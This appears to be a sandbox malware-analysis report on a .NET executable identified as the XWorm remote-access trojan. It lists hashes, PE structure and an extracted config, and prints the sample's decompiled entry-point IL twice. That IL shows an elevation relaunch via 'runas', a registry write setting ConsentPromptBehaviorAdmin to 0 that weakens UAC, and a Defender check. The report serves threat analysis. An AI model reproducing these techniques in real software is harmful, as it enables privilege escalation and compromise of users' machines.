Malicious
Malicious

ddc1adc6d9fe788cb0b05bf6e12251ba

PE Executable
|
MD5: ddc1adc6d9fe788cb0b05bf6e12251ba
|
Size: 327.68 KB
|
application/x-dosexec

Print
Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Very high

Hash
 Hash Value
MD5
ddc1adc6d9fe788cb0b05bf6e12251ba
Sha1
6504f4bb3bdcdff922ab9b493789f3e0b4b23d39
Sha256
26cc8d1e2c2de044c1782a357c8ec30c1e613d282f147ebb34aa94a23604ea75
Sha384
74db4f542792257d6553f6e69c97b057c6e81ff351ec1d757dc8496592ed07fab25fcb9f3b57531ce993d826fc32c863
Sha512
97df1a447f5f66522c6390586e7210194bdfd7d7b95261c4514de837d368bb650f3da7dd47cd90bca0e6c76c105b356bb3081e5cb0a9cc0fba64535a7bdbcb1c
SSDeep
6144:cm/0bgk+GIIIIIIIhIIIIIIIIIIIIIIIU:1RH
TLSH
4B641F606A050EBCEFF0BA74EBDD536513A52E96013B54CF13D03F8A3537E53AA9A052

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
ddc1adc6d9fe788cb0b05bf6e12251ba
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XWorm config.
Config. Field
 Value
KEY

1WDvPZ9XjVuDKTcidVoYIJ8rTx6==
USBNM

w+M3kVJnSY/uL0nSMwalidgryJSrZXbdfAmkI3f0K1QFW6NTiqeiWUbSdgEb==
family

xworm
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Module Name

wqwqwqwqwqwqw.exe
Full Name

wqwqwqwqwqwqw.exe
EntryPoint

System.Void STB.GAGdeXMzYtj==::sBoZJUvxcqsdAnH120qjO3v7Mz0y7oRoKF5k56DtFLy==()
Scope Name

wqwqwqwqwqwqw.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

wqwqwqwqwqwqw
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

358
Main Method

System.Void STB.GAGdeXMzYtj==::sBoZJUvxcqsdAnH120qjO3v7Mz0y7oRoKF5k56DtFLy==()
Main IL Instruction Count

145
Main IL

ldsfld System.Int32 BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::gsli/ikg7xYpCOk4WuVfB4h2XfVuW2MUUJXeAfq7R7M1WuRv3SQHgE8oKvKg== ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void STB.GAGdeXMzYtj==::uWsH==() leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==() call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) ldc.i4 1500 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void STB.GAGdeXMzYtj==::uWsH==() call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==() newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() stloc.2 <null> ldloc.2 <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) ldloc.2 <null> call System.String System.Environment::get_CurrentDirectory() callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WorkingDirectory(System.String) ldloc.2 <null> call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule() callvirt System.String System.Diagnostics.ProcessModule::get_FileName() callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) ldloc.2 <null> ldstr runas callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String) ldloc.2 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==() call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) ldc.i4 200 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==() call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==() brfalse.s IL_0032: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.3 <null> ldloc.3 <null> brfalse.s IL_00C4: leave.s IL_00D2 ldloc.3 <null> ldstr ConsentPromptBehaviorAdmin ldc.i4.0 <null> box System.Int32 ldc.i4.4 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) ldloc.3 <null> callvirt System.Void Microsoft.Win32.RegistryKey::Close() leave.s IL_00D2: ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op== leave.s IL_00D2: ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op== call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00D2: ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::B04GeqoyCTry+x3LZEiVEDPb72cRfitVS+msAlTp9oJ9K5I4V0T== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::B04GeqoyCTry+x3LZEiVEDPb72cRfitVS+msAlTp9oJ9K5I4V0T== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::1KFkDV52G42Da== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::1KFkDV52G42Da== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::TQVKubxGRSYX5wZZEG327ePgRn9GefQFsGynh4syUlaMQ2s== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::TQVKubxGRSYX5wZZEG327ePgRn9GefQFsGynh4syUlaMQ2s== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::pMAtYW0== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::pMAtYW0== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::FsrfpOl3DmEzPN== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::FsrfpOl3DmEzPN== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::x4Xc5SRBtk8qOZiyOpHjasbnVpX0ZJtJofi6HTDSLK5pZoRMztw== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::x4Xc5SRBtk8qOZiyOpHjasbnVpX0ZJtJofi6HTDSLK5pZoRMztw== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::DoZEcwHQ6dnk3yCu3nr7l0YPyyNtYLAsY== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::DoZEcwHQ6dnk3yCu3nr7l0YPyyNtYLAsY== leave.s IL_0189: call System.Boolean STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::a9xTvzS++B9hcmk86Y==() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0189: call System.Boolean STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::a9xTvzS++B9hcmk86Y==() call System.Boolean STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::a9xTvzS++B9hcmk86Y==() brtrue.s IL_0196: call System.Void STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::2l5bvgBh71PyiZLNz0N==() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::2l5bvgBh71PyiZLNz0N==() call System.Void STB.GAGdeXMzYtj==::5vpXinERMttOIV+NZhuNvG82UJbwIP2==() call System.String STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::HmG7Mg5dsisE1IU0KMy3PWmSHwneOm/r2nOtUdBGFjcFRM==() callvirt System.String System.String::ToLower() ldstr defender callvirt System.Boolean System.String::Contains(System.String) brtrue.s IL_01C7: call System.Void STB.GAGdeXMzYtj==::ld8EvswTpRuO==() call System.String STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::HmG7Mg5dsisE1IU0KMy3PWmSHwneOm/r2nOtUdBGFjcFRM==() ldstr None callvirt System.Boolean System.String::Equals(System.String) brfalse.s IL_01CC: call System.Void STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::zy7FGVQkFNQQiiBb77hp7vPZY17vZjElp5Dvy2wRh03QxAf==() call System.Void STB.GAGdeXMzYtj==::ld8EvswTpRuO==() call System.Void STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::zy7FGVQkFNQQiiBb77hp7vPZY17vZjElp5Dvy2wRh03QxAf==() call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==() brfalse.s IL_01EE: call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() ldc.i4 256 callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass) call System.Void STB.K/qvHnqXCf/F//sgPs+IUEytEI5mtCSy5vCyzbqXTTJrxsH130R/1RmFM9==::/oPGDdPVsiixc1oJNzlgF3T32sbhU8eAgVR==() br.s IL_01FD: ldnull call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() ldc.i4 128 callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass) ldnull <null> ldftn System.Void STB.GAGdeXMzYtj==::rCyMl6EGjSZ1z4ertB==() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.0 <null> ldnull <null> ldftn System.Void STB.GAGdeXMzYtj==::wq4frwZIBXUC==() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldloc.0 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.1 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name

wqwqwqwqwqwqw.exe
Full Name

wqwqwqwqwqwqw.exe
EntryPoint

System.Void STB.GAGdeXMzYtj==::sBoZJUvxcqsdAnH120qjO3v7Mz0y7oRoKF5k56DtFLy==()
Scope Name

wqwqwqwqwqwqw.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

wqwqwqwqwqwqw
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

358
Main Method

System.Void STB.GAGdeXMzYtj==::sBoZJUvxcqsdAnH120qjO3v7Mz0y7oRoKF5k56DtFLy==()
Main IL Instruction Count

145
Main IL

ldsfld System.Int32 BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::gsli/ikg7xYpCOk4WuVfB4h2XfVuW2MUUJXeAfq7R7M1WuRv3SQHgE8oKvKg== ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void STB.GAGdeXMzYtj==::uWsH==() leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==() call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) ldc.i4 1500 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void STB.GAGdeXMzYtj==::uWsH==() call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==() newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() stloc.2 <null> ldloc.2 <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) ldloc.2 <null> call System.String System.Environment::get_CurrentDirectory() callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WorkingDirectory(System.String) ldloc.2 <null> call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule() callvirt System.String System.Diagnostics.ProcessModule::get_FileName() callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) ldloc.2 <null> ldstr runas callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String) ldloc.2 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==() call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) ldc.i4 200 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==() call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==() brfalse.s IL_0032: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.3 <null> ldloc.3 <null> brfalse.s IL_00C4: leave.s IL_00D2 ldloc.3 <null> ldstr ConsentPromptBehaviorAdmin ldc.i4.0 <null> box System.Int32 ldc.i4.4 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) ldloc.3 <null> callvirt System.Void Microsoft.Win32.RegistryKey::Close() leave.s IL_00D2: ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op== leave.s IL_00D2: ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op== call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00D2: ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::B04GeqoyCTry+x3LZEiVEDPb72cRfitVS+msAlTp9oJ9K5I4V0T== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::B04GeqoyCTry+x3LZEiVEDPb72cRfitVS+msAlTp9oJ9K5I4V0T== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::1KFkDV52G42Da== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::1KFkDV52G42Da== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::TQVKubxGRSYX5wZZEG327ePgRn9GefQFsGynh4syUlaMQ2s== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::TQVKubxGRSYX5wZZEG327ePgRn9GefQFsGynh4syUlaMQ2s== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::pMAtYW0== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::pMAtYW0== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::FsrfpOl3DmEzPN== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::FsrfpOl3DmEzPN== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::x4Xc5SRBtk8qOZiyOpHjasbnVpX0ZJtJofi6HTDSLK5pZoRMztw== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::x4Xc5SRBtk8qOZiyOpHjasbnVpX0ZJtJofi6HTDSLK5pZoRMztw== ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::DoZEcwHQ6dnk3yCu3nr7l0YPyyNtYLAsY== call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::DoZEcwHQ6dnk3yCu3nr7l0YPyyNtYLAsY== leave.s IL_0189: call System.Boolean STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::a9xTvzS++B9hcmk86Y==() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0189: call System.Boolean STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::a9xTvzS++B9hcmk86Y==() call System.Boolean STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::a9xTvzS++B9hcmk86Y==() brtrue.s IL_0196: call System.Void STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::2l5bvgBh71PyiZLNz0N==() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::2l5bvgBh71PyiZLNz0N==() call System.Void STB.GAGdeXMzYtj==::5vpXinERMttOIV+NZhuNvG82UJbwIP2==() call System.String STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::HmG7Mg5dsisE1IU0KMy3PWmSHwneOm/r2nOtUdBGFjcFRM==() callvirt System.String System.String::ToLower() ldstr defender callvirt System.Boolean System.String::Contains(System.String) brtrue.s IL_01C7: call System.Void STB.GAGdeXMzYtj==::ld8EvswTpRuO==() call System.String STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::HmG7Mg5dsisE1IU0KMy3PWmSHwneOm/r2nOtUdBGFjcFRM==() ldstr None callvirt System.Boolean System.String::Equals(System.String) brfalse.s IL_01CC: call System.Void STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::zy7FGVQkFNQQiiBb77hp7vPZY17vZjElp5Dvy2wRh03QxAf==() call System.Void STB.GAGdeXMzYtj==::ld8EvswTpRuO==() call System.Void STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::zy7FGVQkFNQQiiBb77hp7vPZY17vZjElp5Dvy2wRh03QxAf==() call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==() brfalse.s IL_01EE: call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() ldc.i4 256 callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass) call System.Void STB.K/qvHnqXCf/F//sgPs+IUEytEI5mtCSy5vCyzbqXTTJrxsH130R/1RmFM9==::/oPGDdPVsiixc1oJNzlgF3T32sbhU8eAgVR==() br.s IL_01FD: ldnull call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() ldc.i4 128 callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass) ldnull <null> ldftn System.Void STB.GAGdeXMzYtj==::rCyMl6EGjSZ1z4ertB==() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.0 <null> ldnull <null> ldftn System.Void STB.GAGdeXMzYtj==::wq4frwZIBXUC==() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldloc.0 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.1 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
ddc1adc6d9fe788cb0b05bf6e12251ba (327.68 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙